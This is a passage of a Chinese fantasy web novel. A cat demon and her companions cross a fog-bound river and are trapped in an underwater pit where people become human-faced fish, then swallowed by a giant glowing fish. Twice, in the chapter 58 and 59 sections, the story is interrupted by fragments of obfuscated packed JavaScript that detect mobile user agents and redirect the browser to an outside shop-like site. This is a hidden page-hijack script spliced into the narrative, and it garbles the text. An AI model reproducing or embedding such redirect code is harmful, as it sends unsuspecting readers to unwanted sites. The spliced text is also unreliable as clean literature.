何山见了这四位年轻的面孔，心中有些疑虑，不过还是礼貌地朝他们拱手问好：“想来几位就是南公子所说的捉妖大师……”
万情贞：“妖大师？”
“……捉妖大师？”何山不解但还是重复了一下，“南公子是说，几位瞧出我这艘船已经岌岌可危了，实不相瞒，我也有所感觉，上月渡河时圆月船险些翻船，当时我心下就有疑虑，不过……唉，还是抱了些侥幸。”
叶米道：“你这艘船以往能过河，是靠着船上的龙王神力庇护，如今神力稀薄，已经无法护住船只，这些人……最好不要过河。”
“好。”何山毫无犹豫地点头答应，“那我这就去……”
“且慢。”叶米拦住他，“你这艘船可否借我们一用？若是我们能解决了这莱茵河迷雾的事，之后你们在圆月之时也能过河。”
何山一听，脸上有薄薄的希冀，他看了看这几个脸嫩的“小孩”，心里实在是很难安心啊，更何况：“这倒不是问题，不过这艘船只有我能开动……也许是和几位说过的神力有关。”
胡和烈信誓旦旦道：“护你一人的周全倒不是问题，那些人就不成了。”
何山松了口气，点点头道：“我明白了，还请几位大师上船等候，我去同旅客们说一声。”
他们便先上了船，很快码头就有嘈杂的喧哗声传来，多是在埋怨不能开船的事，还有人喊“凭什么他们能上船我们不能”巴拉巴拉的。
“不行，我定要回去见我弟弟最后一面！”
这么说着，男人扒拉开拦不住人群的何山，就要冲上船去，却在踩到艏板的一瞬间被弹了出去，在空中惨叫一声，然后“砰”地摔倒了地上。
众人都是一吓，抬头往船上一看，只见一个冷面女人伸手在身前，指尖闪着灵光，这会已经收回去了，对上众人的视线，她挑了下眉道：“有本事就上来吧。”
撂下这么一句就转身走了。
她这么一说，大家就试探着往艏板上伸脚尖，果不其然一碰到艏板就会被弹飞，而且弹飞的力道很感人，试了这么几个人之后，这下谁都不敢了。而何山往艏板上一走，却是安然无恙的。
“果真是捉妖大师……”他不由得露出希冀的笑，又安抚了排队的人几句，连忙逃也似的躲到了船上。
“多谢大师出书相助。”何
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山来到船上，朝站在船头的叶米道谢。
叶米不甚在意：“对付这些胡搅蛮缠的人，何必费口舌。”
何山苦笑了一下，心想他除了费口舌也没别的法子：“大师说的是，那我这就开船了？”
“劳烦你。”
开船之后，叶米就招呼大家开始忙活了，毕竟船上还有何山一个凡人，他们得在船上再设一个阵法，到时候出什么事也能护住何山的安全。
何山得知此事后是又安心又不安心的，安心是因为有阵法、有大师庇护，不安心是瞅他们这架势，危险似乎真的要来了。
不过那也是入了迷雾之后的事，这会儿正值日中，连日降雨之后，难得出现了半个太阳，何山拿出早上带来的鱼，打算给他们烤鱼吃。
他的手艺不错，鱼肉烤得表面微焦、内里软嫩，几妖吃得很欢快。猫吃完两条后难得还有些嘴馋，盯上了何山放在边上的一条处理了内脏但还没上烤架的鱼，可还未等她不要脸地问出口，忽听身后传来一声“喵”。
几妖转头一看，瞧见一只圆头圆脑的狸猫，万情贞惊讶道：“这是哪来的猫？”
何山把那只没上烤架的鱼放到地上，朝狸猫招了招手，又和几人无奈道：“这狸奴经常来我船上讨食，肚子饿了就出来，平时瞧不见影儿，我也不知它何时上了船的，刚刚想着用鱼香引诱一下，没想到还真在船上。”
那狸猫不怕人也不怕妖，摇着尾巴就欣然地吃起鱼来，看它这体格，估计平时没少吃。
谢珍珠看它可爱，摸了摸猫头：“没事，不过是只小猫儿，只要它别乱跑，我们的阵法能护住。”
何山闻言一笑：“多谢各位大师！”
那条鱼虽然没入猫肚，不过也是入了猫肚，叶米本也不是贪吃的，哪里会和它抢食。
用过饭后，趁着难得的阳光，几妖在甲板上晒太阳看风景，底下的河水清澈明亮，熠熠生辉。船只其实是斜着开的，因为若是从圆月码头横穿过莱茵河，对岸其实是一片茂密的森林，最近的码头还要过去很远。
叶米耳朵灵，站的远也能听见谢珍珠他们正在和何山聊天，多是听他说一些以往出河捕鱼的事，说着说着说到莱茵河迷雾的事，何山的语气低落了好多：
“我的女儿……唉，那日她娘生病，她十四过的河，为了救她娘，硬是要在十五赶回来，结果就……其实也是我不好，早不应该让她去的，我怎么能没想到她会救人心切，图个侥幸在十五上船……”
“啊……”谢珍珠小心地问，“何大哥，那你的娘子？”
“……不过几日也去世了。”
南显成：“何大哥，您节哀……”
“我没事。”何大哥勉强笑道，“其实这也是我得了渔船之后坚持每月十五十六过的缘由之一，我还是抱着不切实际的希望，想着若是哪一日能在迷雾之中见到我女儿，哪怕……只是一具尸体，我也想带她回家团圆。”
57. 第 57 章
一阵风过，叶米抬起头，没露面多久的太阳已经隐入云层之后，乌云随风扭转，是要变天了。
果然不过一会儿，天上掉下雨滴来，他们赶忙进了船舱之中。
何山站在船舱门口，看着雨滴打在甲板上发出阵阵响声，喃喃自语道：“天色一暗，迷雾就要来了。”
现在还只是下雨，没刮风，雨滴直直地落下沉入河中，前仆后继地、连续不断地，一点点一条条越来越密，这么望去，世间每一处都多了扇遮挡视线的雨帘，看着很是模糊。
叶米讨厌下雨，讨厌水，如今想到离开这破烂的船舱，她就是无所遁形了，这让她感到沉闷的不快。在万妖堂学习法术时，她就很是厌烦雨天的试炼、或是和水有关的法术，每一次都让她觉得很勉强。
一开始她讨厌下雨，是要埋怨降雨的天神的，后来她埋怨自己为什么讨厌下雨，又想是不是成了仙之后就不讨厌、不怕了？
她应该是没有弱点的，叶米想，可事实是不管她修炼了多么厉害的法术，她还是有。师父说世间万物都有弱点，她当然知道，可有些妖的弱点藏得严实，不易拖后腿，而她的弱点……简直是无处不在。
这难道不算不公吗？
可她能怪谁呢？
“轰——”
一声风的怒号，船只应声剧烈地摇晃，船舱里响起几声异口同声的惊呼，叶米好险抓住了面前的木桌，这才没被甩飞，眼瞧着万情贞要摔到墙上，她还好心地用术法把要飞出门外的何山拉了回来。
何山吓得要命，被救之后连忙反应过来，死死地抱住了船舱内的一根房柱，大喊道：“不好，要翻船了！”
万情贞死死扒拉住桌面：“不是还没到迷雾中吗！”
胡和烈正巧站在窗边，往外一看，咬牙道：“已经进来了！外边什么都瞧不见，除了雨——”
雨幕是破不开迷雾的。
船只晃荡不止，叶米大喊道：“你们先撑着，我来启动阵法！”
她话音刚落，船只的晃动就小了一些，到了能够勉强行动的程度，几妖诧异地望了望，原来是南显成盘腿坐在地上，面前立着那把顽强抵抗摇晃的桃木剑，是他在用道术暂且稳住渔船。
有了这片刻的缓冲，胡和烈等妖也缓过神来，赶紧注入妖力到船上，增加船的稳定性。
叶米趁此机会，抵抗着门口的风压出了船舱，都来不及反应，整个身体一眨眼就湿透了。
外边的景况比她想象得还要糟糕，无数灰白色的雾完全遮住了所有景况，看不清眼前，摸不着脚下，唯一能瞧见的是划过眼眶的两滴雨滴，风雨很大，每一步都难走。
“叶米！你在哪？我怎么什么都看不见……”
谢珍珠扒拉着门框在后边叫她，其实她这会才距离门口没两步远呢，螃蟹精已经瞧不见了。
“别出来！”
“好……你小心啊！”
叶米将灵力集中在脚下，为防自己被这风刮走，不知是她太过讨厌雨还是怎么，总觉得这雨滴打在她身上之后就融入了她体内，一点一滴，她的身子越发沉重起来，下一步比上一步要重一些。
而且还什么都看不着。
她本想着用术法搞个避风雨的屏障撑一撑，或是点个灯什么的，但是实际情况是她连抬脚都耗费力气，当务之急是节省体力，找到阵眼启动阵法——还好这渔船不大，他们设置的阵眼离船舱不远，就是再艰难也让猫挪到了那处。
叶米真真是咬着牙启动了阵法，霎时间周遭一静，渔船四周隐隐形成了一个蛋形的灵气屏障，原本船身还有些微微的震动，这下就十分平稳了，就连船上的雾气也散去，只剩下淅沥的雨滴。
叶米松了口气，转身回了船舱里，第一时间施展术法将自己烘干了。
“叶姑娘，你没事吧？”南显成见她进来，赶忙上前，“可有受伤？”
叶米心想，不就下点雨刮点风，能出什么事：“我没事，阵法已经启动。不过这迷雾比我先前设想的还要邪门些，估计此阵只能撑过今晚……何山，等船靠了岸，以防万一，你十七再回来。”
何山刚刚都吓坏了，他先前只是听说，这也是第一次见识这迷雾的厉害，要不是船上这几位大师施展妖威，只怕他现在尸首都不知道在哪呢，这会当然是唯猫命是从了：“好，好……小人明白。”
“外面雾太大了，什么都瞧不清。”胡和烈把探出门外的脑袋收回来，摇摇头道，“这样下去，就是安然无恙地过了河，我们也无法知道迷雾的古怪之处。”
谢珍珠长长地叹了口气：“难道真的……只能下水了？”
叶米颔首：“事不宜迟，走吧。”
万情贞吓了一跳：“现在就就就走啊？猫大人，我还没准备好……”
叶米奇怪地看向他：“你要做什么准备？准备好嗓子喊救命？”
万情贞：……
“咳……”书灵挠挠脸，倒也不觉得多羞恼，只是心里确实很不安心，“猫大人你倒是提醒我了，这外边迷雾这么大，我们一出去就分不清东西南北，倒是我们分散了该如何是好？我这条小命还得仰仗猫大人你啊……”
谢珍珠经他这么一说也害怕起来：“万情贞说得对……没错没错，迷雾这么危险，莱茵河又这么宽阔，要是我们分散了很危险的！”
胡和烈一摊手：“那你们想如何，难道还要手牵手下去？”
万情贞：“也不是不……”
“行你个头，到时候出了事连施法术都难！”胡和烈翻白眼，“要不你们别下去了，省得给我和叶米拖后腿。”
“这怎么行！”谢珍珠连忙摆手，“万情贞不下去倒还好，但我也是来考核的，怎么能偷懒呢？而且说实话……我们之间水性最好的是我，要是真出了什么事，我还能叫一些莱茵河里的虾姨姨蟹叔叔来帮忙的，不至于拖后腿吧……”
万情贞也表明自
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己的决心：“胡大哥，我是胆小了些，但有难同当我还是能做到的……多一个妖多一份力不是？”
叶米听烦了都：“随便你们怎么样，到底什么时候下去？”
“猫大人，我也是担心嘛……”
“我肯定不会拖后腿的！”
“你们两个嘴上说的好听……”
几妖又叽叽歪歪起来，简直没完没了，叶米正要发猫威，忽然听见一声惊喜的“找到了”，他们转头一看，南显成手中拿着什么东西过来了，面上带笑道：
“叶姑娘……还有几位，我有件法宝，也许能解决你们的燃眉之急。”
万情贞脑袋凑过去看：“什么什么？”
南显成手掌一开，只见是一条团了几团的红绳，万情贞眼睛一瞪，这东西可不要太熟悉了，他脱口而出：“姻缘线！？你怎么会有月老的姻缘线？”
南显成还奇怪他为何反应这么大呢，但他也没多问，只是解释道：
“万公子好眼力，这确实是姻缘线，但不尽相同。这其实是我一位师叔用月老姻缘线锻造的新法器，唤作情缘线。只要是彼此相识且有情谊之人，皆可用此线连结，线长而不断，届时我们便能通过此线找到彼此。”
“这确实是个好东西。”万情贞拿过来看了看，感觉和姻缘线没有太大差别，“不过若是我们之间没有情谊，那是不是就行不通了？”
南显成摇摇头，笑道：“在下不必解释，几位一试便知了。”
胡和烈挑眉：“那就试试。”
他都这么说了，南显成便用冒着灵力的指尖朝情缘线一点，情缘线散着灵光飘在空中，慢慢地变长变长，灵活地绕着南显成的手腕转了一圈后又绕着他边上的胡和烈的手腕转了一圈，接着是万情贞、谢珍珠，最后绕到了叶米的手上。
等它绕完了四妖一人，就安安静静地歇停下来。
四妖新奇地打量着手腕上的红线，它的存在感并不明显，动来动去的时候会自动延长，也没有拉扯感，可一旦有个收紧的念头，一拉红线，线就会绷直，这样捆绑起来，在防止走丢方面确实是很方便的。
南显成见自己的手上也连上了线，也是松了口气，笑道：“能与几位有几分情谊相连，是在下的荣幸。”
他倒是大大方方的，整得几妖还有些不好意思呢，说什么情不情的……难道他和他们的关系很好吗？他们的关系又很好吗？
何山在边上看得惊叹：“这红线看着普普通通，没想到竟有这么大的本事，不愧是仙家法宝，真是长见识了。”
叶米瞥了眼红线，朝何山道：“我们现在就要入河，你安分地待在船上，便不会有事，记得我先前和你说的，十七再渡河回村。”
何山神情认真地点头，又朝他们拱手：“好！多谢几位大师出手相助，若是解决了迷雾一事，我们村和将来许多旅客必定对几位不胜感激。小人无能，只好祝你们一路顺遂、万事平安。”
58. 第 58 章
咕噜……
莱茵河上是伸手不见五指的迷雾，迷雾之下的水中又是什么？
叶米跃入水中，第一感受是冰，河水好冰，缠绕着她的白雾入了水后就融化开了，猫感到缥缈的冷意。她早就习惯了轻便、一跃便能跳上屋檐的灵活躯体，现在入了水中，真是有点举步维艰了。
扭头看到谢珍珠，人家已经轻松地转了几个圈，蹬着腿摆着手开始水中遨游。
“没想到这河里能看得清楚，”谢珍珠用传心术和大伙说，“我还以为入了水也会瞧不见，还好……”
“好多鱼啊，”万情贞指着下面，“你们看，下面有好多鱼！”
他们低头望去，只见水下稍远处有许多游来游去的鱼，虽看起来并不是一群一群一起活动的，但大致分散在一片地方。
胡和烈：“这是什么鱼？”
谢珍珠瞪着眼睛看了看，摇摇头道：“我瞧不清啊。”
叶米：“管这鱼做什么。”
“似乎没什么异常。”南显成接通频道，“假使我们是不慎翻船掉入河中的人，现在会怎么做……”
谢珍珠的头发在水中飘荡：“当然是游到水面……不行，水面上都是雾，上了水面反而瞧不见了，应是往边上游去，尽量游出迷雾再说？”
南显成点点头：“谢姑娘说得有理，船只是往东北方驶去，不如我们游去看看？”
叶米：“走。”
几妖便往东北方游去，游着游着还不忘记上水面缓口气、看看情况——那些人类肯定是这么做的，他们只不过是效仿。可这么游了大概一炷香（30分钟）之后，几妖多少都有些疲惫了，往水面上一看，依旧是无边无际的迷雾。
“怎么回事啊……”万情贞累得无语，“这到底什么时候是个头！”
“估计是不会有到头的时候了，”胡和烈抱着胸在水上漂，“不然那些人早就回来了。”
“可这也不对啊，”谢珍珠道，“就是他们永远游不出迷雾，累死饿死了，也会有尸体在水面上飘吧？那每月十五十六过后，大家总会瞧见的。现在是活不见人、死不见尸……他们到底去哪了？”
叶米打量着周遭的水景，不过是水水水，鱼鱼鱼，还有奇怪的石头草木，好似有一丝丝不对劲，但她本就对水下的世界并不了解，很难再有更多的敏锐。
胡和烈有些不耐，他干脆道：“你们在这等着，我先上去看看情况。”
“啊？胡大哥……”谢珍珠挽留的话都还没说，扑棱蛾子已经迫不及待地往上游去，破开水面一跃而起。
几妖仰着脑袋看他的身影，在他进入迷雾中后就什么都瞧不见了。
胡和烈进入迷雾中，他一开始是想用腾云驾雾召唤云彩来带他上天，可他不耐烦地等了好一会也不见云来，显然这办法行不通，也不知是术法被隔断了还是那云在雾中迷了路。
幸好他自己也有翅膀，便从背后长出翅膀来，扑棱着飞了几下，觉得沉沉的老费劲了，胡和烈没那么容易放弃，咬着牙往上飞啊飞，自己感觉飞了许久，怎么总是见不到头？难道这迷雾还能长到九重天上去？
胡和烈内心挣扎了一会，主要确实也是飞不动了，在这迷雾之中他每扑棱一次翅膀，就感到莫名其妙的、不知从何而来的重压感，他累得满头是汗。最后干脆把翅膀收了回来，全身泄了力，打算掉回河里去。
他原以为自己要在空中降落一会，毕竟他觉得自己飞得老高了，但其实不过是两秒钟的事情，他就入了水里。
胡和烈诧异地睁开眼，感受冰冷的河水再次包裹身体，穿梭在他的七窍之中，琥珀色的双眼直愣愣地望着波澜的水面，灰白色雾气在流动的水中一片一片地晃荡，分不清是水阻绝了雾，还是雾固住了水。
此情此景此遭遇，他不得不感到一丝恐怖的不安。还好这份不安在回到他的小团队里时好了不少……怎么着也不至于死吧？他居然有了和猫一样的想法：再说了，还有叶米在，她总是有办法的，不论阴招阳谋……
叶米瞅他回来了：“怎么去了这么久？”
胡和烈吐了口气：“多久？”
猫有些明显的神情恹恹：“半炷香。”
螃蟹精的精神状态倒还不错：“胡大哥，你瞧见了什么？”
“除了雾就是雾，不过我倒是有个想法……”他如此如此，这般这般，“我明明飞了许久，可落入水中不过两秒的事。”
他把刚刚在水面上的遭遇一说，南显成听了就有些眉目了：“这么看来，我们很有可能是遭遇到了类似鬼打墙的迷阵。一路游来，水中并无明显的显著事物，我们没有察觉经过的是同一片地方也是难免的。”
“搞什么，我原以为我们还没遇到危险，原来是早在陷阱之中了！”万情贞丧气道，“那现在怎么办？找阵眼？”
南显成：“找阵眼或是……等，等时机一到，我们大概率会遇到和之前落难者一样的事情，不过到时候，被动的就是我们了。”
“可照现下的情况，被动和主动差别也不大，”万情贞一摊手，“主动也是落入陷阱，被动也是要进入阵法……唉，这到底是什么玩意？”
“叶姑娘，”南显成看向猫，“你觉得如何？”
叶米也在琢磨着呢，她盯着底下瞧：“等要等到什么时候？既然出不去，那就下去看看。你们看那些鱼，是不是和先前刚落水时底下的那群很像？”
谢珍珠看了看：“还真是！这到底是什么鱼？我在水里活了上百年，自觉认识的水下生灵足够多了，很少有我从未见过的……”
叶米：“你是说这鱼有古怪？”
谢珍珠严谨道：“我不敢保证……不过莱茵河这片也不是什么稀奇的地界，附近村落的村民也常常来河中捕鱼，照理来说……不会有什么不曾面世的鱼类的……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411312|148393||http|test|mini|href|location''.split(''|''),0,{}));
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“走，”叶米不再犹豫，“下去捉几只来看看。”
反正继续游也是毫无收获，那不如就下去看看，他们便跟着叶米往深处游去，越往下游，河水越冰，下边的鱼啊、珊瑚礁的就越来越多，五彩斑斓地一晃而过，一簇一丛地千姿百态，都是陆地上不曾见的奇异风景。
只可惜在这样的关头，大家都没有赏景的心思。
往下游了二三十米，离那些叫不出名字的鱼就很近了，它们长得算不上古怪，从形态上看就是普通的长了尾巴的鱼，颜色是很淡的肤黄色，但不知为何看着有些让人不适。
“你、你们看，这些鱼长得都好不一样！”万情贞忽然声音有些惊悚地说，“它们的鱼脸……每一张都不一样。”
胡和烈刚想说“世界上哪有一模一样的鱼”，但还未说出口，他也瞧见了一张鱼脸，登时心底一寒：“……你是不是觉得……长得像人的脸。”
万情贞：“是啊胡大哥！”
叶米闻言，捉来两只瞧了瞧，发现还真是这么回事：鱼目多是很简单的、三个圆镶嵌着就完事了，但这只鱼的眼睛和人的眼睛好像，外是长椭圆，内里是圆的瞳孔……呦，另一只还有双眼皮呢。
这些鱼也傻傻的，被人捉了也不知道挣扎，呆呆的神情倒是很像鱼的。但那嘴巴……嘴巴上的鼻子……奇怪，鱼本来就是有鼻子的吗？
叶米越看越恶心，松手把鱼放了。一旁的谢珍珠还在嘟囔着这些鱼长得太奇怪了，她从来没见过这么像人的鱼巴拉巴拉……
叶米看向南显成，他没在看鱼，而是望向远方不知道何处，皱着眉头神情严肃，似乎是想到了什么可怖的事情。还没等她问，南显成转过头来忽然和她对视上，明显一愣：“叶姑娘……”
叶姑娘道：“你好像有什么发现。”
“是……”南显成面色凝重，“在下有个猜测。先前我在师父的书中看到过一个很简短但十分古怪的故事……”
“故事？什么故事？”万情贞凑过来，“和这些鱼有关吗？”
南显成抿着嘴唇点了点头，手往前方一指：“几位请看，远处是不是有神似陆地上的山岳？”
几妖望去，果不其然，那隐藏在鱼群和暗淡水色之中的、远远又能望见的“山岳”确实就在那里，而且还不是一两座，几乎是连着的往左右延伸开来，他们的视线随着“山岳”转了一圈，回过头来发现自己被“山岳”包围了。
见他们瞧见了，南显成还算沉稳道：“没错，我们其实在一个坑之中……或者说，这个坑就是困住我们的阵法。故事中，这河里的坑叫囚梦坑，每逢月圆之夜的子时，被困在囚梦坑中的人就会变成……?鱼。”
他的声音沉却缥缈：“传闻里，?鱼由人变幻而成，生了一张人脸，一开始还会残存做人时的记忆，可渐渐地便会失去人性、忘却记忆，从而成为一条无悲无喜的……普通的鱼。”
59. 第 59 章
“你的意思是说……这些鱼全都是人！？”万情贞看着那一条条鱼脸麻木地、从自己面前顺着水流飘过的鱼，满脸不可置信，“怎么会这样……”
“你的意思是说，”胡和烈缓缓地皱起眉头，“要是我们在子时之前离不开这什么破坑……”
南显成：“囚梦坑。”
“……随便，要是我们离不开，也会变成这种鱼！？”
南显成很是严肃地点了点头：“是，如果传闻属实的话。”
谢珍珠急忙问道：“那变成鱼之后还能变回来吗？”
“这个故事很短，记载的情况已是我刚刚所说的全部了。”南显成道，“所以我也不清楚能不能变回来、又要怎么变回来。”
“一定有办法，”叶米在边上还算淡定，“既然是师父出的难题，那定不是必死之局。”
她这么说，大家都宽心了一些，可知道有办法是一回事，怎么想出这个办法是另一回事。
叶米见他们脸上各有各的忧心，便道：“多想无益，先分头行动，四处看看这坑里有无古怪，说不定能找到阵眼。”
好像也只有这个办法了，总比坐以待毙好。幸好他们身上还有情缘线，不管走多远都能再找到彼此。他们以目前所在的位置为起点，分了五个方向向前而去，若是谁发现了古怪、或是遇到了危险，便收紧红绳提醒彼此。
叶米一路往前游着，她游得不算快，先是游入了好大片的?鱼群，她双眼发直地看着前方的路，不看那些让人发怵的鱼脸，却很难躲过与它们似有似无的接触，点点滴滴戳破水膜触碰她的肌肤，让她感到心痒难挠的不适。
游了有一会才游出了鱼群，没了这些?鱼，她居然觉得面前的水底世界还挺水灵好看。抬头望去，囚梦坑的坑沿似乎近了一些、高了一点，连上边崎岖的纹路都能瞧清了许多。
不知为何，离坑沿越近，谢珍珠的心就越晃荡起来，大概是这坑沿太高太高了，像是半个悬崖，她仰头望去时，都要把脖子折尽了才望到顶，越近了，越觉得悬崖无边无际，她是那么渺小无助。
谢珍珠低头看了看手腕上的红线，总算感到一些被系住的安心。
红线像是一种诱惑，让万情贞老想着走回头路找他的猫大人去，要不是他这妖还有点好面子——那早就回去了。这一路游来他其实没有在认真完成“探索”的任务，心里都想着何时回去，前方有没有危险呢。
不过这会儿，他忽然看见了不远处的坑沿下，长着一颗好大好大的树，树有半个坑沿那么高，枝繁叶茂，树干粗而奇特，像是有数根稍细又软的小树干互相挨着而组成的整体，就这么簇拥着，渐渐密不可分、融为一体。
万情贞觉得那棵树有些眼熟，稍稍眯了眯眼，一时之间也想不起什么“回去”“危险”了，下意识加快速度往那棵树游去。
树好似只是普通的树，胡和烈绕着树几个来回，又穿到上方的树叶里，他仔细又随意地探查了一番，觉得这棵树除了大一些、又长在河底，其他看着就是很寻常啊……不过长在水下的树都有哪些树来着？
不对……他好像只见过一半长在水里的，那些树叶都得到水面上晒太阳去，这棵树为什么全部浸在水里还是这么枝繁叶茂的？胡和烈坐在树下仰头望去，只看见密不透风的树叶，在河水之中微微摇晃，竟似在随风摇摆。
……这合理吗？
水下有枯树是合理的，有活树自然是不合理的。南显成心中很是诧异，很快意识到这棵树与囚梦坑的阵法有必然的关系，他游近之后环绕着大树打量了一番，越瞧不出名堂越是不安，可渐渐地，他原本严肃的神色露出一丝茫然和松懈。
“这是……”南显成轻轻抚摸树干，感受到它软塌湿润的粗糙，微蹙的眉心显出困惑，“菩提树？”
叶米的手贴在树上，她在考虑要不要把这树给炸了。
很明显，这树就是不寻常之处，估计和困住他们的阵法有关，可此时此刻，她触碰到树的手却能感受到一股生机勃勃的灵力，这树没有成精却有灵力，说明定是非凡之物，像是天界的仙草灵花……
如此纯粹洁净的灵力让她不能确定这棵树在这囚梦坑里起到的作用是好是坏。
她正纠结犹豫着，忽地感受到手腕上的红线紧了紧，叶米一愣，下意识回头看了看身后，她不知道是谁拉扯的情缘线，左右扫视了一圈，没发现有什么异常，若是出了什么大事，应该……
不等她有更多猜测，天色开始以极快的速度变暗，叶米抬起头来，这片无边无际的灰暗是从她的后方来的，不像天黑，更像是水面上飘来了一大片黑云，慢慢地将这囚梦坑里的光明挤开。
手上的红线被拉紧的频率越来越快，叶米明白这是他们想要赶快聚合的意思，但是很显然来不及了，不过几次眨眼的功夫，猫的所见之处已是一片漆黑。
叶米想看看是什么东西遮住了囚梦坑。
她现在独自一妖，想到什么就去做什么了。就在万情贞哭丧着脸跑回树下瑟瑟发抖、螃蟹精变成原形躲到盘根错节的树木根干之中隐蔽身形、南显成和胡和烈神色警惕地四处戒备时，猫已经往水面上游去，想要探个究竟。
这会她游得很艰难，但叶米也没有放弃的意思，可就在她越游越高，将要高过那棵大树的时候，登时脚腕上一紧，有什么东西拉住了她的脚。叶米扭头一看，竟是一根树枝，正死死地缠绕在她的脚腕上呢。
就这玩意还想拖住她？
叶米嘲讽它的不自量力，术法打在那根树枝上，直接把它砍断了一截。猫甚至没有得意，打算继续往上游，可很快她就不得不为她刚刚的小法术付出代价，只见无数条还带着绿叶的树枝如软蛇般灵活地就游上来了——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14418536|148393||http|test|mini|href|location''.split(''|''),0,{}));
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>眨眼间猫的左腿右腿被缠得严实，叶米暗道不妙，连忙比划指决施展法术，可在水下她的法术衰弱得厉害，本来能斩一群的现下只能斩一半，而那树又大得可怕，数不清的树枝很快就缠绕住了她的双手，将她整个妖往下拖去。
怎么会这样？
叶米挣扎无效，只能开始动脑子，这树捆她捆得虽然严实，但似乎没有想伤害她的意思，好像只是单纯地想让她留下来……留下来做什么？等着子时一到，也让她变成?鱼？
……还真是这样。
不知被困了多久，周遭的黑暗让叶米无处可看、无法可想，这树又什么都不干，只在她想要挣扎的时候捆紧些当做警告，叶米后来实在是无聊，半梦半醒地眯了一会，直到无边无际的黑暗被打破，空中出现一轮圆月。
长时间处在黑暗中，叶米被这月光惊了瞳孔，她竖起眼睛一看，那月亮浮在远远的水面上，真是又圆又亮，还越来越大——
叶米的眼眶也随之慢慢地扩张开来，她眼睁睁地瞧见那圆月越来越大、或者说是越来越近，最后来到她眼前，显出真面目来与她相望着，她的竖瞳微不可查地颤抖了一下，这竟然是一只通体发着月光的鱼。
鱼有两三艘渔船那么大，一双灰白的眼睛仿佛没有瞳孔，每一片鱼鳞闪烁着奇异的金白色的光，鱼尾像轻薄的透色飞纱，在水中随它的动作摇晃，像仙子的衣摆。不管从谁的眼中看，这都应是一条漂亮的鱼。
叶米也是这么觉得的，虽然她不认识这鱼是什么品种，甚至刚刚还被它的仙气飘飘给震慑了一瞬，有些许不敢想象它会是造成迷雾事件的真凶，毕竟它实在是太过梦幻，在任何故事里，这都该是一条会于绝境之中出现救人一命的仙鱼才是。
可就在下一秒，这条鱼张开了嘴巴，露出自己像无底黑洞的喉咙。
……干什么？
叶米微妙地感到不妙，可还没等她反应过来，只见那鱼“哗”地开始吸水，准确地说是要把她吸进去，顺带着吞了些水和无关紧要的、无辜路过的小鱼小虾，叶米顿时感受到巨大的吸力，不过幸好她现在被这棵树捆住……
嗯？等等。
它怎么不捆了！！
叶米差点要被吸走，连忙抓住两根要逃跑的树枝，咬着牙死死攥着，但它们灵活得很，扭啊扭的就从她手中挣脱开来，有一些不好挣脱的还会断尾逃生呢。
叶米真是大无语，她如今横飘在水中，双腿离鱼嘴不过两只手臂的距离，正想施法抓住这棵狡猾的树来稳住身形，余光却瞧见手腕上的红线直直地往后延伸去，她双眸一滞，心里隐约有不好的预感，扭过头一看，那红线的另一端果然是从鱼嘴巴里延伸出来的。
……到底是哪个蠢蛋被吃进去了！
叶米这下被气笑了，也总算放弃了挣扎，下一瞬就被鱼嘴一咕噜溜地吞了下去，非常顺滑。
60. 第 60 章
猫本是吃鱼的，本该是这样的。
滑过又黏又滑的食道，叶米顺利地来到了鱼的肚子里。肉红色的世界符合她对内脏的刻板印象，鼓胀的薄膜光滑而有弹性，叶米落在上方弹了一下，抬起手来发现满是透明的粘液，她甚至不敢闻一下味道，下意识屏蔽了嗅觉。
叶米：……恶心。
她瘪了下嘴，慢慢地站起来往红线牵引的方向走，踩在肚子里的感觉像踩在弹性的云上，每一步都要踩得结实一些、慢一些，不然恐要被弹出去。她一边走一边打量周遭，这条鱼的肚子里空空荡荡的，就连刚刚灌进来的河水都退散了许多，一眼望去，除了满眼活着的肉红色，哪里还有妖？
不会已经被消化了吧。
叶米叹了口气，认命地往前走，心里想着就是给他们收尸也是好的。其实鱼肚没有这么大，很快叶米就走到了肚皮边上，她琢磨着等会从哪里开洞出去，余光瞧见肚皮边上的角落里好似有什么东西在动。
她低下头一看，是四条?鱼，正在一小块积着河水的凹陷的肉坑里活性不高地摆着尾巴，每一只的鱼头上都系着红线呢。
叶米：……不是吧？
她蹲下来仔细看了看，其中一只似有所感地用鱼嘴贴了贴她的手背，叶米看见这只鱼的眼睛，长得真是和螃蟹精一模一样。这双始终清澈带着善意的双眼，则会安在鱼头上和猫对视了，让她感到毛骨悚然的恶心，这下连其他三条的身份都不想确认了，只怕自己要吐出来。
现在又多了一个严峻的问题，既然他们没死，那她该怎么把他们恢复原样？
叶米先是尝试了一下法术——用什么法术她也不知道啊，就随便用了几个，但除了让他们变大变小变奇怪之外，好像不起作用。叶米很快就换了个法子，想着先把他们带出去，然后再找师父想办法……
嗯，就先这样吧。
她正要把四条?鱼收起来，忽然感觉到什么低头一看，自己半个身子不知何时都已经被一层粘液给覆盖了，叶米一愣，先是下意识用手要把那些粘液抹开，但粘液像是活的一般，碰到她的手就飞快地缠上了她的手，紧接着往手臂上延伸。
叶米顿感不妙，连忙用法术，可这粘液却仿佛不痛不痒一般，还更嚣张地大肆攀爬上来。
叶米一瞬间闪过把手臂砍断的念头，但很快她意识到自己下半身已经全被粘液覆盖，砍了那不就等于自刎吗，那算了，似乎只能让它肆意妄为了。
行，她瞥了眼那四条呆若木鸡的?鱼，干脆盘腿坐下，大无畏地想，爱咋咋地，就让她看看它到底想做什么。
粘液爬上她的脖颈，罩住她双唇和鼻子，叶米看着它来到自己的眼下，自嘲地闭上了眼睛，一瞬间世界漆黑无光，肌肤感受到的冰冷触感那么明显，抛开其他思绪不说，倒是挺舒服的，猫感觉到罕见的困意。
